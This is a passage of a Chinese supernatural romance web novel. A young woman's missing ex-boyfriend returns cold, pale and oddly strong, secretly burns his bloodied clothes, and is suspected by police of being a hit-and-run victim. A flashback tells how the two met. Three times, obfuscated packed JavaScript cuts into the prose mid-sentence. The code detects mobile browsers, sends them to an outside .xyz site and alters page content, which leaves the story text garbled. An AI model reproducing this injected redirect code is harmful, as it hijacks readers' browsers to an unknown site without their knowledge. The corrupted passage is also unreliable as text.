以前她经常赖床,闹钟也叫不醒。为了让她多睡一会儿,贺舒流总会在闹钟响之前起床,关掉闹钟,准备好早餐和她出门要带的东西,然后再叫她起床。 现在分手了,没人再给她提供叫醒服务,郁言只能自己按时起床。 短短几天,赖床的毛病就都没了。 由此可见,没有改不了的毛病,只有意志不坚定的人。 希望贺舒流不要再把她的坏毛病改回来。 洗漱完毕后,郁言在餐桌前坐下,看着贺舒流给她夹荷包蛋。 他看起来精神很好,完全没有一点疲惫萎靡,更没有一点“差点要死”的样子。 反而是郁言有点恍惚。 太自然了,自然得好像什么都没发生过。 虽然这是好事,但她总是会想起他被她骂到眼眶含泪的样子。 他已经忘了吗?还是他真的毫不在意? 还有他昨晚那副狼狈的样子…… 郁言脑子里乱糟糟的,这时,一只骨节分明的手伸了过来,轻贴上她的脸颊。 很凉,凉得她一激灵。 “怎么了?”贺舒流用指尖蹭了蹭她的脸,“是不是还没睡醒?” “没有……”郁言端起杯子,“不想上班而已。” 贺舒流:“那要不要请假?” “不用啦。”郁言说,“我每天都不想上班,难道每天都要请假?” 贺舒流挑了下眉,正要说话,郁言已经将目光移向阳台所在的方向。 阳台上挂着她昨天换下的衣服,一件件排列整齐,显然是贺舒流刚洗的。 但只有她的衣服,没有贺舒流的。 她不由疑惑:“你昨晚换下来的衣服呢?” 难道还没洗? 应该不至于,这家伙平时很爱干净,昨晚那些衣服都脏成抹布了,他不可能受得了。 “唔?”贺舒流顺着她的目光望过去,“噢,我扔了。” 郁言:“……扔了?” 贺舒流点头:“脏成那样,洗起来太麻烦了,不如扔了重买。” 又不是手洗,有什么麻烦的? 郁言一脸无语,但终究没有多说什么,继续低头喝豆浆。 重买就重买吧,他想买几件都可以,反正花的又不是她的钱。 郁言不说话,贺舒流也不说话,只是单手托腮,安安静静地盯着她。 郁言很想无视,但他的存在感实在太强了。 她索性放下杯子,对上他的目光:“你今天打算怎么安排?” 贺舒流眨眼:“安排什么?” “不是你说身上疼,还有点冷么?”郁言不动声色地打量他,“你不打算去医院检查一下?” 雨过天晴,客厅的光线很好。贺舒流坐在窗户旁边,皮肤白得发光,仿佛随时都会融化。 其实郁言昨晚就发现了。 和以前相比,贺舒流的肤色似乎变得更白了,而且是没有血色的苍白,看起来有种病态的冷感。 昨晚她还以为是他在雨中淋了太久,身体失温,所以才会白成这样。 但现在都过去这么长时间了,他还是没什么血色,那就只能是有其他问题了。 再结合他说的身上疼……还是去医院检查一下比较好。 毕竟这件事归根结底还是因她而起,她也不希望看到他生病。 贺舒流闻言,期待地看着她:“你去吗?” 郁言奇怪道:“我又没病,去医院干嘛?” 贺舒流:“那算了。” 郁言:“……” 这人是失忆了吗?怎么一点分手后的自觉都没有? 难道是脑子出了问题? 似乎看出了她的疑惑,贺舒流笑了笑:“放心,现在已经不疼了。” “这么快?”郁言眼神狐疑。 “也可能还疼?”贺舒流摸摸下巴,“你这么一问我也不确定了,要不我们还是去医院一趟?” 又来了。 郁言忍不住翻了个白眼:“你爱去不去,反正我不去。” 贺舒流轻挑眉梢,脸上笑意不减。 郁言喝完最后一口豆浆,起身去拿沙发上的帆布包。 贺舒流见状,也起身走过来:“我送你吧。” “不用,我今天坐班车。”郁言看了眼时间,动作迅速地到玄关处换鞋。 贺舒流歪头看她:“那我送你上班车。” “就几步路,没必要,你还是在家好好休息吧。” 郁言生怕他跟上来,头也不抬地穿好鞋,抓起手机便直接出门。 “我走了。” 随着“吧嗒”一声响,防盗门关上,郁言急促的脚步声也很快远去。 贺舒流站在玄关处,看着紧闭的防盗门,脸上笑意渐渐消失。 他来到阳台,视线朝下,精准找到石径小道上的郁言。 她走得很快,边走边看手机,没一会儿就走出了小区。 直到郁言的身影彻底消失,贺舒流才收回目光,转身走进浴室。 他走到脏衣篓前,掀开盖在上面的浴巾,昨晚换下的那一身衣服胡乱地堆放在里面,满是污迹,已经看不出原本的颜色了。 郁言习惯晚上洗衣服,早上基本不会翻看脏衣篓,所以他才把衣服直接藏在这里。 过了一夜,衣服上的血腥味似乎更浓了。 贺舒流将衣服拿出来,装进厚厚的黑色塑料袋,然后提着袋子出门。 他走出小区,路过便利店的时候,买了一只打火机。这个时候正是早高峰,路上人很多,他绕过人群,走进一个偏僻的小巷。 这个小巷又脏又乱,没有监控,就算是白天也没人会经过这里。 放在以前,他一定不会踏进这样一个肮脏的地方。 贺舒流走到小巷最深处的角落,这里是视野死角,就算现在有人过来,也很难看清他在做什么。 他打开黑塑料袋,露出里面的脏衣服。 阳光直射下,衣服上的污迹格外明显。大片斑驳的黑褐色,颜色极深,很容易让人想起干掉的鲜血。 贺舒流掏出打火机,将这堆衣服点燃。 火苗很快升起,越烧越旺,连同塑料袋都燃烧起来。 直到这堆衣物烧得一干二净,贺舒流才站直身体,将打火机扔进旁边的垃圾桶。 然后他走出小巷,转身汇入汹涌的人流。 * 半小时后,郁言准时抵达公司。 今天的任务已经分配下来了,她没空再去思考贺舒流的事情,稍微歇了会儿就开始投入工作。 中午的时候她在员工餐厅见到了林让,对方也看到她了,远远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098941|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地跟她打了个招呼,之后便与身旁的同伴走开了。 郁言不确定他有没有跟部门其他人吐槽过之前那件事。 但这段时间她并未听到过有关自己的八卦,同事们对她的态度也一如既往,她索性也就当做没这回事了。 就这样忙碌了一天,郁言终于下班了。 手机屏幕亮起,郁言扫了一眼,是贺舒流发来的信息。 【回来吃饭吗?】 看来他还没走。 郁言想了想,发过去一条简短的回复。 【回,我去买点水果。】 【好。】 退出聊天框,郁言打开打车软件,将目的地定位在之前报过案的警察局。 贺舒流已经回来了,她得告诉警方,省得他们继续调查下去,白白浪费警力。 夜幕降临,虽然已经是下班时间,但警局里仍然灯火通明。 郁言刚一踏入警局,那两名负责跟她对接的警察就注意到她了。 “我们还没通知你,你怎么就过来了?”年长的警察惊讶道。 另一名警察拖来一把椅子,示意她坐下说话。 郁言在桌前坐下,双手交叉相握。 “是这样的,我男朋……前男友已经回来了。” “回来了?”两名警察面面相觑,“什么时候?” “就昨晚。”郁言想了一下,“凌晨两点左右。” “凌晨两点?”两名警察脸上讶色更甚,“就他一个人吗?还是有人陪同?” 郁言:“就他一个人。” 两名警察听了,又看了看彼此,脸上的表情有点奇怪。 “那他状态怎么样?有没有受伤之类的?” 郁言觉得“身上有点疼”这种含糊不清的感受应该不能算受伤,于是答道:“没有。” 她说完这话,两名警察的表情更古怪了。 “会不会是搞错了?”年轻点的那名警察小声问道。 “不排除这种可能……” 郁言见他们小声嘀咕,不由好奇问道:“什么搞错了?” “没什么,我们在聊另一个案子。”那名年长的警察没有继续说下去,抬头看向她,“人没事就好,那我们就确认结案了?” 郁言点头:“麻烦你们了。” “行,我们再核对下信息。”对方掏出笔在纸上边说边写,“姓名贺舒流,24岁,找回时间……” 郁言配合他们将大概情况又复述了一遍。核对结束后,警察语重心长地教诲她。 “年轻人,以后说话做事都要想清楚,没仇没怨的,有什么话不能好好说呢,对吧?” 郁言连连称是。 “还好人回来了,要是回不来,你是不是得后悔一辈子?” 郁言一脸忏悔。 “这次回去好好说,可不能再吵架了,知道吗?” 郁言点头如捣蒜。 “行了,回去吧回去吧。” 说教终于结束,郁言如蒙大赦,道了声谢便忙不迭离开警局。 她走后,那名较年轻的警察打开电脑上的文件,放大上面的监控截图,一脸不解。 “难道真是我们搞错了?不能啊,这身形、这装扮,跟她提供的照片不说百分百一致,也有百分之九十相似了。” “就算是正脸相似都有可能认错呢,更别说是背影了。”年长的警察凑到电脑屏幕前,“更何况,如果监控里被撞的这个人真是她前男友,那他现在就算不死也瘫了,怎么可能自己回来?” “说的也对……”年轻警察指着屏幕上模糊的人像,“那这个被撞的人又是谁?” “谁知道呢?现在最重要的是找到肇事车主,不能让他继续逍遥法外了。” 年长警察叹了口气,拍拍同事的肩膀:“唉,抓紧干活吧。” 5. 第 5 章 郁言提着一只沉甸甸的西瓜回去了。 贺舒流已经做好晚饭,又把家里打扫了一遍,正坐在沙发上,托着下巴,百无聊赖地看着电视里的爆米花电影。 听到郁言开门的声音,他立即站起来,大步走向玄关。 郁言一开门,就看到他笑盈盈的脸。 “你终于回来了。” 什么叫终于?她只是去警局绕了一圈,也没有耽误很久吧…… 郁言关门换鞋:“路上有点堵。” 贺舒流从她手里接过西瓜,和过去一样自然。 郁言不经意抬眸,发现他提西瓜的动作极其轻松。 细长手指松松拎起下坠的袋子,手臂自然垂落,线条流畅优美,甚至连手背上的青筋都没有凸起来。 仿佛提的不是一只西瓜,而是一袋轻飘飘的兵乒球。 是她太虚了吗?还是这只西瓜其实不算重? 但不仅是她觉得重,付款的时候,那个男店员抱起西瓜的样子都有点吃力。 而且这个西瓜的确也挺大的。 郁言忍不住盯着贺舒流看,大概是盯得太明显了,贺舒流放下西瓜,弯腰凑近她。 “怎么了?” 郁言一愣,下意识对上他的视线。 他的眼睛太黑了,瞳孔清润透亮,明明像潭水一样清澈,却好像怎么也望不到底。 他的眼睛以前有这么黑吗? 郁言不确定,他眼瞳的颜色一直都比常人更纯粹,也许这只是她的错觉。 她回过神,正要开口回答,贺舒流已经俯身抵上她的额头。 他像小猫一样软软地蹭她,漆黑发梢落在她的眼皮上,随着他的动作轻微拂动,让她睁不开眼。 然后他微微偏头,舔了舔她的唇角。 他的舌尖很柔软,湿润中带着些微凉意。 这种微妙的沁凉感一瞬间侵袭了郁言的大脑,让她想起融化的薄荷糖。 为什么会这么凉? 她记得他以前从里到外都是温暖的、滚烫的,尤其在亲吻的时候,热得像永不停歇的熔炉。 但他现在却凉得有点不正常了,像一直浸泡在昨晚那场暴雨里,迟迟没有出来。 郁言想伸手去摸贺舒流的额头,被他轻轻按住。 他继续舔吻她的唇角,舌尖扫过她的唇缝,灵巧而熟练地撬开她的唇齿,然后向里探入,与她慢慢勾缠。 郁言很想提醒他,他们现在已经分手了。 分手的两个人是不会接吻的。 但他实在很擅长取悦她。他知道什么角度会让她更舒适,也知道怎样挑弄会让她更投入。 郁言渐渐安静下来。 她的手被贺舒流牢牢握住,脖颈微仰,发丝像流水一样流泻而下。 不知过了多久,贺舒流终于依依不舍地放开她。 郁言脸有点红,气息也不太稳。但贺舒流还是好好的,连呼吸频率都没怎么改变。 郁言再次对自己的身体素质产生了怀疑。 她真的有这么虚吗?是不是应该抽空去健健身了? 她忍不住认真考虑这个问题,而贺舒流已经再次覆了上来。 “继续?”他贴着她的嘴唇,发出黏糊不清的低语。 郁言立刻清醒,用另一只手推开他:“不要。” 她可不是在害羞,也不是欲拒还迎。 是真的在拒绝。 贺舒流眨了下眼,却没有动:“为什么?” 郁言:“因为我饿了。” 贺舒流仔细看着她,似乎在判断她是否撒谎。 郁言正想继续解释,肚子就先一步发出了尴尬的动静。 郁言:“……” 贺舒流弯着眼睛笑出声:“言言,你好可爱。” ……并不觉得这是赞美。 郁言又推了他一把,弯腰从他身旁走过去,背对着他的时候,默默抿了抿湿润的嘴唇。 她拒绝他,也并不全是因为他们现在已经分手了。 还有更重要的一点——她是真的饿了。 给公司当牛做马忙了一天,没有下午茶也就算了,员工餐厅做的饭菜还巨难吃,多吃一口都是对自己肠胃的蹂躏。 每当这种时候,她都会格外想念贺舒流做的菜。 色香味俱全,还特别合她的胃口。 不夸张地说,如果不是因为他们的性格实在太不合适了,就算是为了吃贺舒流做的饭,她也会凑合凑合跟他继续过的。 但是……不行。 只能趁现在多吃点了。 郁言一边在心里提醒自己“吃一顿少一顿”,一边来到餐桌前,扫了一眼桌上的饭菜。 辣子鸡、糖醋排骨、白灼虾、干锅包菜,还有一大碗紫菜蛋花汤。 都是她爱吃的。 郁言咽了下口水,立刻去浴室洗手。 走进浴室,她才发现家里似乎也被贺舒流清理过了。不仅地板亮得反光,脏衣篓也被清空了,空气里残留着淡淡的清香,是沐浴露的味道。 这家伙也太勤快了。真的不打算回去了吗? 郁言洗完手,心情复杂地回到餐桌上。贺舒流已经摆好碗筷,见她过来,又举起一只空碗:“要不要先喝汤?” 郁言摇头,拿起筷子。 贺舒流剥了几只虾放进她碗里。 虾剥得很漂亮,去头开背,虾仁完整,干净得看不到一点虾线。 郁言心里突然很不是滋味。 明明自己都那样骂他了,他还是这样不计前嫌地对待她……这个人是压根没有自尊,还是真的失忆了,大脑自动过滤掉了那些不愉快的回忆? 郁言将一只虾仁送进嘴里,沉默几秒,抬头对贺舒流说:“你自己吃就好,别剥给我了。” “为什么?”贺舒流不解,“不好吃吗?” “不是……”郁言用筷子戳了戳碗里的米饭,直接转移话题,“你今天去医院了吗?” “没有。”贺舒流托起下巴,眉眼弯弯地看着她,“你很希望我去?” 我觉得你不太正常。 郁言很想这么说,但考虑到贺舒流刚给她做了一桌菜,她还是选择了更加委婉的用词。 “我觉得你可能生病了。”她认真打量他,“你真的没有哪里不舒服么?” “没有。”贺舒流干脆地说,“和前段时间相比,我现在感觉非常好。” 郁言:“前段时间?” “就是在山上的那几天。”贺舒流微微一顿,而后笑了一下。 在山上的那几天……也就是和她分开后的那三周里? 郁言想起他说过那里连充电的地方都没有,不由产生好奇:“你去的到底是什么地方?是什么度假村吗?” “差不多?”贺舒流语气轻描淡写,“不过那里环境不太好,除了我基本没有其他人。” “有多不好?”郁言想起他那一身面目全非的脏衣服,“不会连洗澡的地方都没有吧?” “没有。”贺舒流叹了口气,“而且也不提供一日三餐,没有床,也没有遮风挡雨的地方。” 这哪是什么度假村,分明是荒野求生吧…… 郁言目瞪口呆:“那你晚上睡哪儿?” 贺舒流勾起嘴角:“你猜。” “你带了帐篷?”郁言只能想到这个可能。 一般人可能还会选择睡在车里,但贺舒流不喜欢车里的味道,而且看他昨晚那样肯定也没开车,所以这个选项基本没可能。 这么一排除,就只有帐篷的可能性最大了。 总不能直接睡在地上吧? 贺舒流笑了笑,没有直接回答:“其实那里也没你想得那么糟,就是有点闷……啊,还有很多虫子。” 郁言蹙眉:“虫子?” “嗯,有一些还会吸血……”贺舒流的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098942|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音渐渐低下去,很快又恢复轻松随意的语气,“不过还好,我顺利活下来了。” 郁言总觉得过程远没有他说的这么简单。 否则他昨晚不会那么狼狈。 一想到是因为自己,贺舒流才会经历这些,郁言心里的负罪感更重了。 “要不明天还是去医院看看吧。”她说,“不要不当回事,搞不好有寄生虫。” 贺舒流直直地注视她,然后嘴角上扬:“好,都听你的。” 郁言能感觉到他情绪里的愉快与满足。 但她还是没有办法安心。刚才那些话实在太可怕了,虽然贺舒流自己完全是一副无所谓的态度,但她根本做不到不去在意。 吃完晚饭,郁言没有像平时那样看剧打游戏,只是刷了会手机,便洗澡上床了。 她搜了一晚上和寄生虫有关的科普。 熄灯后,贺舒流和往常一样在她身旁躺下。 郁言没有像昨晚那样背对他。 她想了想,主动伸手环住贺舒流的腰,紧紧抱住他。 他的身上依然很冷,腰线细窄,背部薄肌紧实流畅,正因为她的触碰而微微紧绷。 “言言?”贺舒流似乎有点意外。 “你身上比较凉快。”郁言低声说,“不要乱动,我明天还要上班。” 其实她是怕他半夜突然死了,这样抱着睡,如果真有什么突发状况,她可以及时发现。 贺舒流闻言,遗憾地轻轻叹息。 虽然不情不愿,但他的确没有再动。 郁言闭上眼,努力让自己不再胡思乱想。 贺舒流身上的气息像山泉一样幽冷,糅合了柑橘调的沐浴露香味,似有若无地萦绕着她,格外好闻。 她很快睡着了。 * 郁言做了个梦。 她隐约知道自己在做梦,因为身边没有贺舒流,也没有其他任何她所熟悉的东西。 天色昏暗,不见日光。空中隐约有雷声轰鸣,她环顾四周,只能看到无穷无尽的树木和野草。 没有房屋,也没有人烟,只是一处无法辨别的荒山。 郁言踩在杂乱的草丛上,几乎没有实感。 这里究竟是哪里?自己为什么会在这里? 她一无所知,只能继续往前走。 天色越来越暗,山上到处都是黑黢黢的,什么都看不清。 郁言很想回去,一阵窸窸窣窣的细响突然吸引了她的注意力。 什么声音?这里还有其他人吗? 她循着声音慢慢往前走,很快发现,在前面不远处的草丛里,似乎躺着什么东西。 周围太黑了,那东西又不动,她看不清是什么。唯一可以确定的是,那些窸窸窣窣的声音就是从那个东西上传出来的。 究竟是什么呢? 郁言将手伸进口袋,试图掏出手机。就在这时,一道闪电划破天际,照亮了前方的草丛。 ——那是一具尸体。 无数爬虫在尸体上方蠕动,将口器扎入灰白的皮肤。鲜血从尸体的眼眶、嘴角流出来,更多爬虫蜂拥而上,近乎狂欢地将这具尸体分食殆尽。 郁言被这一幕震惊得头皮发麻,无法动弹。 她从未见过这么可怕的景象。 但真正让她震惊的,并非是群虫吸血的画面,而是那具尸体残存的脸。 “……贺舒流?” 郁言猛然惊醒。 夜色寂静,黑暗中,她的心跳格外激烈。 她立即睁开眼,惊魂未定地抬起视线—— 映入眼帘的是贺舒流安静熟睡的面孔,近在咫尺,无比真实。 郁言可以听见他的呼吸声,清浅、绵长、安定。 她用手悄悄覆上他的胸膛,感受到强健有力的心跳,正透过胸腔平稳地传递给她。 郁言这才长长松了口气。 还好,他还活着。 6. 第 6 章 郁言放松下来,再次入睡。 月光从窗帘的缝隙泻进来,顺着贺舒流浓稠的黑发流淌,像被黑夜吞噬,反射不出一点光亮。 贺舒流缓缓掀开眼睫,目光低垂,落在郁言细腻莹白的侧脸。 她大概是做噩梦了,突然惊醒,呼吸急促,还用手试探他。 是跟他有关的噩梦吗? 也许是他晚上说的那些话太可怕,不小心吓到了她。 他知道她搜了一晚上的寄生虫科普,还看了许多真实案例,从传染性到致命性,认真且全面。 她可能真的以为他被寄生虫咬了,还是会传染的那种。 虽然被她担心的感觉真的很好,但他也不想让她太过担心。 看来明天必须得去医院一趟了。 贺舒流一眨不眨地盯着郁言,微微低头,在她额前落下一个轻柔无声的吻。 像飘拂而过的羽毛,没有任何存在感。 郁言睫毛轻颤两下,无知觉地将脸埋进他胸膛,继续安睡。 贺舒流慢慢抱紧她,修长结实的双臂环过她单薄的肩背,如同禁锢般将她圈在自己怀里,最后满足地闭上眼睛。 * 第二天郁言是和贺舒流一起出的门。 她去上班,贺舒流去医院。 刚到工位不久,贺舒流就发来一张站在医院前的自拍照。 【到啦。】 照片上的贺舒流比了个耶,笑容灿烂,牙齿洁白,略微弯起的眼睛像宝石一样漆黑莹润,在阳光下闪闪发光。 照片后方甚至能看到几个驻足停留的年轻女性,虽然很模糊,但也能大概看出她们的动作是在偷拍。 估计是把贺舒流当成什么十八线小明星了。 郁言坐在电脑前,一脸平静地拍下干净工整的桌面。 【我也到了。】 发完这条回复,她朝前面瞄了一眼,见部门领导正往这个方向走过来,迅速将手机锁屏。 好在之后贺舒流就没再给她发过消息,而她忙于工作,也没怎么再看手机。 直到午休的时候,她的好朋友宋佳宁打来电话。 “现在情况怎么样了啊?你那前男友找到了吗?” 郁言找了个没人的地方接电话:“找到了。” 宋佳宁是她为数不多的好友,两人从小玩到大,还考上了同一所大学。 即便如今不在同一座城市生活了,她们也依然保持联络,时不时打个电话、见个面,关心一下彼此的近况。 贺舒流失踪这件事,除了警察,郁言就只对宋佳宁说过。 当然,并不是她主动说的,而是她在网上发布寻人启事,恰好被宋佳宁刷到了,打电话过来询问,郁言才将情况告诉了她。 宋佳宁的老公是律师,在如何报案更高效这件事上,也为郁言提供了一些帮助。 “找到了?”手机里传出宋佳宁惊讶的声音,“那他还好吗?有没有缺胳膊少腿?” “没有,他的状态很好,精神也不错。”郁言没有说得太详细,以防对方担心,“我已经去警察局结案了。” “那太好了……”宋佳宁由衷地为她高兴,“你有没有问他这段时间去了哪里?怎么会突然消失这么长时间?” “问了,他说去山上了,手机没电也没地方充电,所以就没看到我的信息。” “假的吧,现在都什么年代了,想给手机充个电还不简单?”宋佳宁说,“估计就是跟你赌气呢,毕竟刚被你甩了,面子上下不来也很正常嘛。” 听到宋佳宁这么说,郁言露出有些困扰的表情。 “我觉得……他可能也不太在乎面子。” 宋佳宁:“怎么说?” 郁言叹口气:“他回来后就直接来找我了,还像以前一样跟我相处,完全不提分手的事。” “唔……那就说明他不想和你分手啊。”宋佳宁说,“这不挺好的,不记仇,不需要你养,还能做饭给你吃,你要是不讨厌的话就继续谈呗!” “我是不讨厌,但问题是……”郁言很无奈,“我不喜欢他。” “不喜欢?什么意思?”宋佳宁好奇追问,“是现在不喜欢了,还是一直就没喜欢过?” 郁言想了一下,答:“没喜欢过。” “啊??”宋佳宁发出费解的声音,“既然你一直都没喜欢过他,那你们当初是怎么好上的?” 这个问题很难解释。 郁言一时没有回答,思绪飘远,回到她与贺舒流初遇的第一天。 那天天气很恶劣,同样也是个暴雨天。 郁言平时中午都是不回家的,那天好巧不巧将一份纸质材料遗漏在了家里,而且下午就要用到,只好冒着大雨回家取。 找到材料后,她来不及吃午饭,在附近便利店买了盒酸奶和三明治就准备回公司。但雨下得实在太大了,路上根本打不到车,她又没耐心,便开着打车软件,边走边等人接单。 天色阴灰,大雨一刻不停,路上几乎没什么人。 郁言一个人举着伞走在路边,呼吸着潮湿的空气,原本还有点烦躁,但在雨中不急不缓地走了十来分钟后,心情反而渐渐宁静下来。 自从大学毕业后,她很少会像现在这样漫无目的地走在街上了。 人在成为社畜后总是很忙,会计划、会焦虑,就算是休息日,也不愿意浪费一分一秒的闲暇时间。 毕竟时间就是金钱,是资本,是最不能浪费的东西。 但郁言此刻却突然觉得,偶尔像这样浪费一下,似乎也不错。 反正她的人生也没什么意义。 抱着这种不太积极的想法,她又走了一段路,路过了熟悉的清溪公园,还看见了那些老旧的游乐设施。 这个公园由于太老太旧,已经荒废很久了。郁言每天上下班都会路过,但很少看到有人在这里玩乐。 所以当她看到那些空荡荡的游乐设施时,并没有多想,只是习以为常地扫了一眼。 然后她就发现,树下的长凳上竟然坐了个人。 那人没打伞,全身都被雨淋透了,一个人静静地看着那些游乐设施,不知道在做什么。 是出门没带伞?还是出了什么意外动不了? 郁言有点奇怪,不由走近些。大概是察觉到了她的目光,那个人抬眼看了过来。 郁言忽然停下脚步。 雨很大,中间又隔了一小段距离,她其实并没看清对方的脸。 但她看到他的头发被雨打湿了,额发凌乱,那种隐隐低落的神情让她觉得莫名熟悉。 很像她小时候养过的小狗。 那是一只土黄色的中华田园犬,活泼顽皮,普普通通,扔到街上都不会有人多看一眼。 但郁言很爱它。 小狗几乎陪伴了她整个青春期,陪伴她度过了那些压抑又漫长的日子。她原本打算毕业后就带小狗一起离开,没想到小狗生病了,没等到她毕业就先离开了她。 她用了很长时间才走出悲痛,逐渐忘记小狗的样子。 但她现在……却在一个陌生人的身上看到了小狗的影子? 她一定是忙昏头了。 郁言一边觉得匪夷所思,一边不由自主地向那人走去。 那人也没动,就这么安静地看着她走近。 直到郁言在他面前停下,他也没有起身离开。 郁言举着伞,终于看清他的样子。 他看起来个子很高,即使坐着也能看出腿很长。长凳的高度让他颇受局限,但他似乎并不在意。 他鼻梁高挺,轮廓分明,五官清隽而不失锐气,是非常出众的长相,和她的小土狗完全不一样。 但他还是很像她的小狗。 郁言猜测,可能是因为他长了一双微微下垂的眼睛,瞳仁又很黑很大,就像小狗一样,所以才会让她产生这种错觉。 即使是在此时此刻,他抬着眼睫,默不作声地看着她,依然会让她觉得,自己正在被曾经的小狗注视着。 “你没事吧?”郁言担心对方把她当成神经病,于是尝试着开口,“我看你坐在这里不动,是不是哪里不舒服?” 这个被雨淋湿的青年眨了下眼,静静打量她,然后笑了一下。 “没事,”他说,“我只是饿了。” 饿了?是低血糖犯了吗? 郁言也有过低血糖的经历,知道这种感觉有多难受。 她想了想,从包里掏出刚买的三明治和酸奶,又翻了一会儿,找出两块有且仅有的巧克力。 她都不记得这两块巧克力是什么时候放在包里的了,不过还好,没有融化。 郁言将雨伞往前倾斜,挡住青年的头顶,然后将巧克力递给他。 “先把这两块巧克力吃了吧,吃完能好受点。” 青年有点讶异地看了她一眼,似乎不理解她为什么这么热心。 但他什么都没说,只是抬手接过巧克力,撕开包装,干脆利落地吃了下去。 郁言觉得他太没有警戒心了,估计还是个清澈愚蠢的大学生。 等他吃完巧克力,郁言又把三明治和酸奶一起给他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098943|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这个也给你吃吧,虽然已经凉了,但也是刚买的。” 青年这次没接。他歪头看着她,直截了当地说:“我没带钱。” 郁言愣了一下:“我没说要钱啊。” 青年与她对视几秒,突然眼睛一弯,轻快地笑了起来。 “那就谢谢你啦。” 他接过三明治和酸奶,将附送的吸管插进酸奶盒,完全没有一点客气的意思。 郁言很想看着他喝完,但手机却响了起来。她低头一看,才发现之前打的车已经过来了。 “我好像看到你了,是树底下打伞的那个小姑娘,对吧?” “对,麻烦您再往前开一点,我不想淋雨。” “好嘞。但你速度要快啊,这边不能停车的。” “好的。” 挂断出租车司机的电话,郁言发现青年正在看她,不由面露歉意:“不好意思,我要去上班了。” 青年眨眼:“现在?” “嗯。”出租车按着喇叭驶了过来,郁言来不及再多说什么,直接将伞柄塞到他手里,“这把伞也给你,你吃完感觉好点就快回去吧,不然雨大了更不好走。” 青年露出不解的表情:“你把伞给我,你用什么?” “我公司还有一把伞。” 郁言不想被司机催促,说完这句转身走向出租车,打开车门的时候朝他挥挥手,然后一低头钻进后座。 上车后,司机一脸八卦地问:“小姑娘,那是你男朋友哇?” “不是。”郁言摇头。 司机啧啧道:“他可一直看着你呢!” 郁言闻言,扭头朝窗外看了一眼。 青年的身影在雨中愈渐模糊,她看不清他的样子,只能看出他举着伞,一直待在原地没动。 ……像迷路的小狗。 自那天以后,郁言开始频繁地在清溪公园看见贺舒流。 他有时候歪坐在长凳上,有时候支着腿躺在草地上,有时候也会懒洋洋地趴在跷跷板上,对面端坐着一只膘肥体壮的大橘猫。 这个公园荒废太久,就算是晴天也没什么人逗留,他的身影在一堆破旧的游乐设施中显得格外醒目。 郁言一开始只以为他是喜欢在这一带活动,再加上自己不是在上班就是在回家的路上,不方便下车,所以从未主动跟他打过招呼。 就这样过了大半个月,有一天她要去公园附近买东西,于是提前下了车。 刚走没几步,肩膀就被人轻拍了一下。 郁言疑惑转身,看见那个整天待在旧公园的青年正站在她身后,笑容清爽明朗。 “终于等到你了。” 严格地说,这是他们第二次见面。 也就是这次见面,郁言才知道原来贺舒流并不是喜欢清溪公园,而是一直在等她。 他不知道她叫什么名字,也不知道她住哪里,只好每天在公园附近徘徊,等待与她再次偶遇。 当时郁言听完这个解释,沉默半晌:“你就没想过,我有可能再也不会路过这里吗?” “这里是你上班的必经之路,不是么?”贺舒流语气轻快,透着几分认真,“只要你没辞职,我总会等到你的。” 那是郁言第一次隐约意识到,贺舒流是一个非常执着的人。 自那之后,他们接触的次数渐渐多了起来,郁言对贺舒流的了解也越来越深。 原来那天贺舒流独自坐在长凳上发呆,并不是因为身体不舒服,而是单纯的心情不好。 那天是他父母的忌日。 他原本家境富裕,父母恩爱,是非常幸福的完美家庭。十六岁那年,父母遭遇车祸不幸去世,爷爷奶奶不管他,外公外婆走的也早,他无人接管,从此便开始一个人生活。 在贺舒流还小的时候,他们一家三口经常会在清溪公园散步、闲逛,公园里的每一个游乐设施他都玩过无数次。 父母去世后,他再也没去过清溪公园,偶尔路过也不会停留。 郁言看见他的时候,其实他已经在那里坐很久了。 那天的雨下得突然,他没带伞,也懒得回去,索性就继续坐在那里等雨停。 “还好雨一直没停。”后来贺舒流笑眯眯地对她说,“不然你就不会注意到我了,对吧?” 郁言已经不记得自己当时回了什么。 但她想,如果早知道会变成现在这样,她当初一定不会走向他,更不会把巧克力给他吃。 狗是不能吃巧克力的,她明明很清楚这一点。 这下果然遭报应了。 7. 第 7 章 “所以你真的不喜欢他?”宋佳宁问,“没有挽回的机会了?” “没有。”郁言摇头,“贺舒流是很好的伴侣,只是我们不合适。” “唉……”宋佳宁遗憾叹气,“不谈就不谈吧,这种事也强求不得。” 郁言:“嗯。” “不过不谈归不谈,你以后还是要注意点。”宋佳宁话锋一转。 郁言疑惑:“注意什么?” 